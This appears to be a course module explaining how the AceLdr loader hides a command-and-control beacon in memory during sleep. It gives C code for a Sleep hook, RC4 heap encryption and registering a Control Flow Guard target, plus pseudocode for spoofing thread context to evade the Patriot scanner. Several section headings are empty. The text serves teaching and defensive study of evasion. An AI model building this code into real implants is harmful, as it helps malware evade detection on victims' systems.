Module 8: FOLIAGE Sleep Masking

Encrypting the beacon in memory while it sleeps — the crown jewel of AceLdr's evasion

The Big Idea

The challenge is that you can't simply encrypt yourself and then sleep — the code performing the encryption would also be encrypted. FOLIAGE's elegant solution uses Asynchronous Procedure Calls (APCs) queued to the current thread. The APCs execute in sequence when the thread enters an alertable wait state, performing all the masking operations without the beacon's own code needing to be executing.

Sleep_Hook — The Entry Point

When the beacon calls Sleep(dwMilliseconds), AceLdr's IAT hook intercepts it. The hook in hooks/delay.c first checks for short sleeps:

C — hooks/delay.c
VOID WINAPI Sleep_Hook(DWORD dwMilliseconds) {
    // Short sleep bypass: for sleeps under 1000ms, just call the
    // real Sleep directly. FOLIAGE overhead isn't worth it for
    // quick operational pauses (e.g., jitter calculations).
    if (dwMilliseconds < 1000) {
        STUB.Api.Sleep(dwMilliseconds);
        return;
    }

    // For real sleep intervals (>= 1 second):
    // 1. Generate a fresh RC4 encryption key
    // 2. Encrypt the entire private heap
    // 3. Queue the APC chain for sleep masking
    // 4. Enter alertable wait (APCs fire, thread sleeps)
    // 5. On wakeup: APCs decrypt heap, restore permissions
    //    (all handled by the APC chain)

    USTRING Key = { 0 };
    generateEncryptionKey(&Key);

    // Encrypt the private heap before sleeping
    encryptHeap(&Key);

    // Build and queue the APC chain, then sleep
    foliageSleep(dwMilliseconds, &Key);

    // After waking up, decrypt the heap
    encryptHeap(&Key);  // RC4 is symmetric: encrypt again = decrypt
}

generateEncryptionKey

A fresh encryption key is generated for each sleep cycle. This prevents key reuse across multiple sleep intervals, which would weaken the encryption:

C — hooks/delay.c
VOID generateEncryptionKey(PUSTRING Key) {
    // Allocate a 16-byte key buffer
    Key->Length    = 16;
    Key->MaxLength = 16;
    Key->Buffer    = (PVOID)STUB.Api.HeapAlloc(
                        STUB.Heap, 0, Key->MaxLength);

    // Fill with random bytes using the system RNG
    STUB.Api.RtlGenRandom(Key->Buffer, Key->Length);
}

The key is a 16-byte random buffer used as the RC4 key for SystemFunction032. Using RtlGenRandom (the underlying function behind CryptGenRandom) ensures cryptographically strong randomness.

encryptHeap — Walking and Encrypting

This function walks every allocated block on AceLdr's private heap and encrypts (or decrypts) it using RC4:

C — hooks/delay.c
VOID encryptHeap(PUSTRING Key) {
    PROCESS_HEAP_ENTRY Entry = { 0 };

    // Lock the heap to prevent concurrent access during encryption
    STUB.Api.RtlLockHeap(STUB.Heap);

    // Walk every block on the private heap
    while (STUB.Api.RtlWalkHeap(STUB.Heap, &Entry) == 0) {
        // Only encrypt BUSY (allocated) blocks
        if (Entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) {
            USTRING Data;
            Data.Length    = (USHORT)Entry.cbData;
            Data.MaxLength = (USHORT)Entry.cbData;
            Data.Buffer    = Entry.lpData;

            // SystemFunction032 = RC4 encrypt/decrypt
            // Since RC4 is symmetric, calling this twice with the
            // same key encrypts then decrypts (restoring plaintext)
            STUB.Api.SystemFunction032(&Data, Key);
        }
    }

    STUB.Api.RtlUnlockHeap(STUB.Heap);
}

Why RC4 via SystemFunction032?

The 10-Step APC Chain

The heart of FOLIAGE is a chain of 10 APCs queued to the current thread. These APCs execute in FIFO (first-in, first-out) order when the thread enters an alertable wait state via NtWaitForSingleObject.

Visualizing the Chain

Why Use APCs Instead of Direct Calls?

Patriot Evasion via JMP RBX Trampoline

The Patriot tool detects sleeping beacons by inspecting the thread's saved context (particularly RIP) to see if it points to suspicious memory. FOLIAGE counters this on APCs 1 and 8:

The Solution: Context Spoofing

APCs 1 and 8 in the chain handle this by using the JMP [RBX] trampoline (the same gadget from Module 7) as an intermediary for NtGetContextThread and NtSetContextThread:

Pseudocode — Patriot evasion
// APC 1: Capture context through trampoline
//   - NtGetContextThread is called through the JMP RBX gadget
//   - The captured context shows RIP at the gadget (in a legit DLL)
//   - This context is saved for later restoration

// APC 2: Set spoofed context
//   - NtSetContextThread sets RIP to point inside ntdll
//     (e.g., NtWaitForSingleObject + some offset)
//   - Now if Patriot inspects the thread during sleep,
//     RIP appears to be inside ntdll = legitimate

// APC 8: Restore original context through trampoline
//   - NtSetContextThread restores the saved context from APC 1
//   - RIP is set back to the beacon code, ready to resume

CFG (Control Flow Guard) Handling

Windows Control Flow Guard (CFG) validates indirect call targets against a bitmap of approved addresses. Since APC dispatch involves indirect calls, AceLdr needs to register its hook functions as valid CFG targets:

C — cfg handling
// Before queuing APCs, register the trampoline as a valid
// CFG call target. Without this, CFG-enforced processes would
// terminate the thread when APC dispatch tries to call through
// an unregistered address.

PVOID  CfgAddr  = C_PTR(TrampolineFunc);
SIZE_T CfgSize  = sizeof(PVOID);

// NtSetInformationVirtualMemory with VmCfgCallTargetInformation
// adds our trampoline to the CFG bitmap
STUB.Api.NtSetInformationVirtualMemory(
    NtCurrentProcess(),
    VmCfgCallTargetInformation,
    1,
    &CfgAddr,
    &CfgInfo,
    sizeof(CfgInfo)
);

The Complete Sleep Cycle

During the masked sleep window, a memory scanner sees:

• No executable beacon code — Memory permissions are RW, not RX or RWX
• No beacon signatures — Code and heap data are RC4-encrypted
• No suspicious thread context — RIP points into ntdll.dll
• No beacon strings on the heap — The private heap is separately encrypted

Knowledge Check